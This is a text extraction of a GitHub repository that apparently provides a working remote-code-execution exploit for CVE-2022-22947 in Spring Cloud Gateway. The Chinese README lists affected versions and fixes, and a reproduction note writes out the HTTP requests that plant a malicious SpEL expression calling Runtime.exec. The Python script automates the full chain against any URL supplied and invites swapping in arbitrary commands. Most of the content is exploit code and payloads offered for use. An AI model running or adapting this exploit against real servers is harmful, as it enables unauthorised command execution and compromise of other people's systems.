Repository: lucksec/Spring-Cloud-Gateway-CVE-2022-22947
Branch: main
Commit: 829c82bcb708
Files: 3
Total size: 6.9 KB
Directory structure:
gitextract_rm2npuo3/
├── README.md
├── Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947).md
└── spring_cloud_RCE.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# Spring-Cloud-Gateway-CVE-2022-22947
Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
【受影响版本】
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 旧的、不受支持的版本也会受到影响
【安全版本】
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
修复建议
临时修复建议:
如果不需要网关执行器端点,则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器,则应使用 Spring Security 对其进行保护,请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
通用修复建议:
官方已发布安全版本,请及时下载更新,下载地址:https://github.com/spring-cloud/spring-cloud-gateway
##
通过url进行攻击
使用python3 运行
<img width="831" alt="image" src="https://user-images.githubusercontent.com/59011386/156518437-ee1cbd8c-133a-4b4b-97af-8c0df6ab6538.png">
python3
<img width="799" alt="image" src="https://user-images.githubusercontent.com/59011386/156515667-64f5c639-7a78-43c6-8414-18631f9c5272.png">
# 本网站所提供的信息,只供参考之用
================================================
FILE: Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947).md
================================================
# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
参考链接:
- https://tanzu.vmware.com/security/cve-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
## 漏洞环境
执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:
```
docker-compose up -d
```
服务启动后,访问`http://your-ip:8080`即可看到演示页面,这个页面的上游就是example.com。
## 漏洞复现
利用这个漏洞需要分多步。
首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:
```
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
```
[](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/1.png)
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
```
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
[](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/2.png)
发送如下数据包即可查看执行结果:
```
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
[](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/3.png)
最后,发送如下数据包清理现场,删除所添加的路由:
```
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```
[](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/4.png)
================================================
FILE: spring_cloud_RCE.py
================================================
import requests
import json
import sys
def exec(url):
headers1 = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}
headers2 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
## command to execute replace "id" in payload
payload = '''{\r
"id": "hacktest",\r
"filters": [{\r
"name": "AddResponseHeader",\r
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
}],\r
"uri": "http://example.com",\r
"order": 0\r
}'''
re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
print(re3.text)
if __name__ == "__main__":
print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████
██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█
██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█
░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █
░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █
░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █
░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █
░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░
██ ██ ██
░██ ██ ██ ░██ ░██
░██ ░░██ ██ ░██ ██ ██ █████ ░██ ██ ██████ ███████ █████
░██████ ░░███ ░██░██ ░██ ██░░░██░██ ██ ██░░░░██░░██░░░██ ██░░░██
░██░░░██ ░██ ██ ░██░██ ░██░██ ░░ ░████ ░██ ░██ ░██ ░██░███████
░██ ░██ ██ ░░ ░██░██ ░██░██ ██░██░██ ░██ ░██ ░██ ░██░██░░░░
░██████ ██ ██ ███░░██████░░█████ ░██░░██░░██████ ███ ░██░░██████
░░░░░ ░░ ░░ ░░░ ░░░░░░ ░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░
usage: python3 test.py url
''')
if(len(sys.argv)>1):
url = sys.argv[1]
exec(url)
else:
exit()
gitextract_rm2npuo3/ ├── README.md ├── Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947).md └── spring_cloud_RCE.py
SYMBOL INDEX (1 symbols across 1 files) FILE: spring_cloud_RCE.py function exec (line 6) | def exec(url):
Condensed preview — 3 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (10K chars).
[
{
"path": "README.md",
"chars": 1124,
"preview": "# Spring-Cloud-Gateway-CVE-2022-22947\n\n\nSpring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuato"
},
{
"path": "Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947).md",
"chars": 2869,
"preview": "# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)\n\nSpring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包"
},
{
"path": "spring_cloud_RCE.py",
"chars": 3113,
"preview": "import requests\nimport json\nimport sys\n\n\ndef exec(url):\n\n headers1 = {\n 'Accept-Encoding': 'gzip, deflate',\n "
}
]
About this extraction
This page contains the full source code of the lucksec/Spring-Cloud-Gateway-CVE-2022-22947 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 3 files (6.9 KB), approximately 2.9k tokens, and a symbol index with 1 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.